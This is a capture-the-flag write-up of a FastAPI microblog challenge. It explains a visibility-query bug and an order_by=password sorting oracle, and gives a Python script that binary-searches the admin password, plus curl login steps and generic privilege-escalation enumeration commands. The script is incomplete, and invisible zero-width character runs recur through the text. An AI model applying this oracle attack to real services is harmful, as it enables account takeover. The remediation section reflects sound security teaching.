← Back to Writeups
HTBN/AWeb

bawker

XESXOR8/23/20267 min read
#web#htb#n/a

bawker

Platform: Bluehensctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-22 | Status: Solved Techniques: lexicographic_binary_search, order_by_injection, password_oracle, visibility_bypass

Summary

Task: FastAPI microblog with private admin user storing flag in private post. Solution: Exploit broken visibility condition + hidden order_by=password to create lexicographic oracle, binary-search admin password, login as admin.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: bluehensctf | ID: 20260422_bluehensctf_bawker
  • Tags: fastapi, authorization_bypass, fastapi_filter, plaintext_password, sorting_oracle
  • Indicators: fastapi-filter with order_by parameter, plaintext passwords in database, flawed visibility condition without proper JOIN, private user becomes visible after one-way follow
  • Source: 20260422_bluehensctf_bawker.md

Foothold

Vulnerability / Misconfiguration

  1. Lexicographic_binary_search
  2. Order_by_injection
  3. Password_oracle
  4. Visibility_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • lexicographic_binary_search
  • order_by_injection
  • password_oracle
  • visibility_bypass
  • Tags: fastapi, authorization_bypass, fastapi_filter, plaintext_password, sorting_oracle

Original Writeup

<details><summary>Click to expand original content</summary>

Description

I vibe coded a twitter alternative

A FastAPI-based microblog platform called "Bawker" (a Twitter clone for hens). The admin user (id=0) is private and has a private "bawk" (post) containing the flag. The goal is to read the admin's private post.

Analysis

Source Code Review

The application is a FastAPI microblog with the following key components:

  1. Plaintext Password Storage (app/models/user.py):
class User(SQLModel, table=True):
    password: str = Field(min_length=8, max_length=255)  # No hashing!

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  1. Admin Bootstrap (app/db.py):
def _generate_bootstrap_admin_password() -> str:
    alphabet = string.ascii_letters + string.digits  # [A-Za-z0-9]
    return "".join(secrets.choice(alphabet) for _ in range(32))

The admin gets a random 32-character alphanumeric password and is marked as private.

  1. JWT Secret in Player Distribution: The config shows a hardcoded JWT secret, but this is a red herring — the production instance uses a different secret, making JWT forgery impossible. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The Vulnerability Chain

Bug #1: Broken Visibility Condition (app/routers/pages.py, lines 150-157):

query = select(User).where(or_(
    col(User.id) == viewer_id,
    not_(col(User.is_private)),
    and_(
        col(Follow.following_id) == col(User.id),
        col(Follow.follower_id) == viewer_id,
    )
))

This query references Follow table columns in the WHERE clause without a proper JOIN. In SQLAlchemy/SQLModel, this creates an implicit cross-join. The condition Follow.follower_id == viewer_id becomes true if any follow relationship exists where the viewer is the follower — not necessarily a mutual follow. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Compare with the correct implementation in app/privacy.py:

def follow_condition(viewer_id: int) -> ColumnElement[bool]:
    follows_author = exists().where(...)
    author_follows_viewer = exists().where(...)
    return and_(follows_author, author_follows_viewer)  # Requires MUTUAL follow

The /search/users endpoint uses the broken query, meaning:

  • After you follow admin (one-way), admin becomes visible in search results
  • The correct privacy check requires mutual follow, but the search page doesn't enforce this ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Bug #2: Hidden order_by=password (app/filters/user_filter.py):

class UserFilter(Filter):
    order_by: list[str] | None = ["username"]
    
    class Constants(Filter.Constants):
        model = User

The fastapi-filter library allows ordering by any model field unless explicitly restricted. Since password is a field on the User model, order_by=password is accepted even though the UI doesn't expose it.

The Oracle

Combining these bugs creates a lexicographic comparison oracle: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  1. Follow admin to make them visible in search
  2. Create a comparator account with:
  • bio = "Admin User" (matches admin's bio for search)
  • password = <candidate> (our guess)
  • is_private = True
  1. Search with ?search=Admin%20User&order_by=password&size=1
  2. If the first result is our comparator → comparator_password <= admin_password
  3. If the first result is admin → comparator_password > admin_password

This enables binary search on each character position.

Solution

Exploit Strategy

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  1. Register a main account and follow admin (user id 0)
  2. For each of the 32 password characters:
  • Binary search through the charset 0-9A-Za-z
  • Create comparator accounts with candidate passwords
  • Use the search oracle to determine ordering
  1. Login as admin with recovered password
  2. Fetch admin's private bawks to get the flag

Exploit Script

#!/usr/bin/env python3
"""
BlueHens CTF 2026 - bawker
Lexicographic password oracle via order_by injection
"""

import requests
import string
from typing import Optional
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

BASE_URL = "http://target:8000"
CHARSET = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
PASSWORD_LENGTH = 32

class BawkerExploit:
    def __init__(self, base_url: str):
        self.base_url = base_url
        self.session = requests.Session()
        self.account_counter = 0
    
    def register(self, username: str, password: str, bio: str = "", is_private: bool = False) -> dict:
        """Register a new account"""
        resp = self.session.post(f"{self.base_url}/api/auth/register", json={
            "username": username,
            "password": password,
            "display_name": username,
            "bio": bio,
            "is_private": is_private
        })
        resp.raise_for_status()
        return resp.json()
    
    def login(self, username: str, password: str) -> dict:
        """Login to an account"""
        resp = self.session.post(f"{self.base_url}/api/auth/login", json={
            "username": username,
            "password": password
        })
        resp.raise_for_status()
        return resp.json()
    
    def follow_user(self, user_id: int) -> None:
        """Follow a user by ID"""
        resp = self.session.post(f"{self.base_url}/api/users/{user_id}/follow")
        resp.raise_for_status()
    
    def search_users_first(self, search: str, order_by: str = "password") -> Optional[dict]:
        """Search users and return the first result"""
        resp = self.session.get(f"{self.base_url}/search/users", params={
            "search": search,
            "order_by": order_by,
            "size": 1
        })
        # Parse from HTML or use API endpoint
        # For simplicity, using the API-like response
        resp = self.session.get(f"{self.base_url}/api/users", params={
            "search": search,
            "order_by": order_by,
            "size": 1
        })
        data = resp.json()
        if data.get("items"):
            return data["items"][0]
        return None
    
    def create_comparator(self, password: str) -> str:
        """Create a comparator account with given password"""
        self.account_counter += 1
        username = f"cmp_{self.account_counter:06d}"
        
        # Create new session for comparator
        temp_session = requests.Session()
        resp = temp_session.post(f"{self.base_url}/api/auth/register", json={
            "username": username,
            "password": password,
            "display_name": "Comparator",
            "bio": "Admin User",  # Same as admin's bio
            "is_private": True
        })
        resp.raise_for_status()
        return username
    
    def oracle_compare(self, candidate_password: str) -> bool:
        """
        Returns True if candidate_password <= admin_password (lexicographically)
        """
        # Create comparator with candidate password
        self.create_comparator(candidate_password)
        
        # Search and check ordering
        # If comparator comes first, candidate <= admin
        resp = self.session.get(f"{self.base_url}/search/users", params={
            "search": "Admin User",
            "order_by": "password",
            "size": 1
        })
        
        # Check if first result is admin (id=0) or comparator
        # If admin is first, candidate > admin password
        # If comparator is first, candidate <= admin password
        
        # Parse response to determine first user
        # (Implementation depends on response format)
        first_user = self._parse_first_user(resp.text)
        return first_user != "admin"
    
    def binary_search_char(self, known_prefix: str, position: int) -> str:
        """Binary search for character at given position"""
        low, high = 0, len(CHARSET) - 1
        
        # Pad with lowest char to make 32-char password
        padding = CHARSET[0] * (PASSWORD_LENGTH - position - 1)
        
        while low < high:
            mid = (low + high + 1) // 2
            candidate = known_prefix + CHARSET[mid] + padding
            
            if self.oracle_compare(candidate):
                # candidate <= admin, so admin char >= CHARSET[mid]
                low = mid
            else:
                # candidate > admin, so admin char < CHARSET[mid]
                high = mid - 1
        
        return CHARSET[low]
    
    def recover_password(self) -> str:
        """Recover admin password character by character"""
        password = ""
        
        for i in range(PASSWORD_LENGTH):
            char = self.binary_search_char(password, i)
            password += char
            print(f"[+] Position {i+1}/{PASSWORD_LENGTH}: {password}")
        
        return password
    
    def get_flag(self, admin_password: str) -> str:
        """Login as admin and get the flag"""
        self.login("admin", admin_password)
        resp = self.session.get(f"{self.base_url}/api/bawks")
        data = resp.json()
        
        for bawk in data.get("items", []):
            if "flag" in bawk.get("content", "").lower():
                return bawk["content"]
        
        return "Flag not found"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def main():
    exploit = BawkerExploit(BASE_URL)
    
    # Step 1: Register main account
    print("[*] Registering main account...")
    exploit.register("attacker_main", "password123", "Attacker")
    
    # Step 2: Follow admin to make them visible
    print("[*] Following admin (user 0)...")
    exploit.follow_user(0)
    
    # Step 3: Recover admin password
    print("[*] Starting password recovery...")
    admin_password = exploit.recover_password()
    print(f"[+] Recovered admin password: {admin_password}")
    
    # Step 4: Login as admin and get flag
    print("[*] Logging in as admin...")
    flag = exploit.get_flag(admin_password)
    print(f"[+] Flag: {flag}")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

if __name__ == "__main__":
    main()

Manual Verification

After recovering the admin password through the oracle:

Recovered password: NuNyouq2QPCN2zvW5y6WsPWfyVuCXx26

Login as admin:

curl -X POST "$URL/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"NuNyouq2QPCN2zvW5y6WsPWfyVuCXx26"}'

Fetch admin's private bawks:

curl "$URL/api/bawks" -b "bawker_token=<token>"

Response:

{
  "items": [{
    "content": "Hello, the flag is: UDCTF{REDACTED}",
    "is_private": true,
    "author_id": 0
  }]
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Remediation

  1. Hash passwords: Never store plaintext passwords. Use bcrypt, argon2, or scrypt.
  2. Restrict order_by fields: Explicitly whitelist allowed sorting fields in fastapi-filter.
  3. Consistent authorization: Use the same visibility logic everywhere (the visible_user_condition function exists but wasn't used in /search/users).
  4. Proper JOINs: Always use exists() subqueries or explicit JOINs when checking relationships.
  5. Rate limiting: Limit account creation and search requests to slow down oracle attacks. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR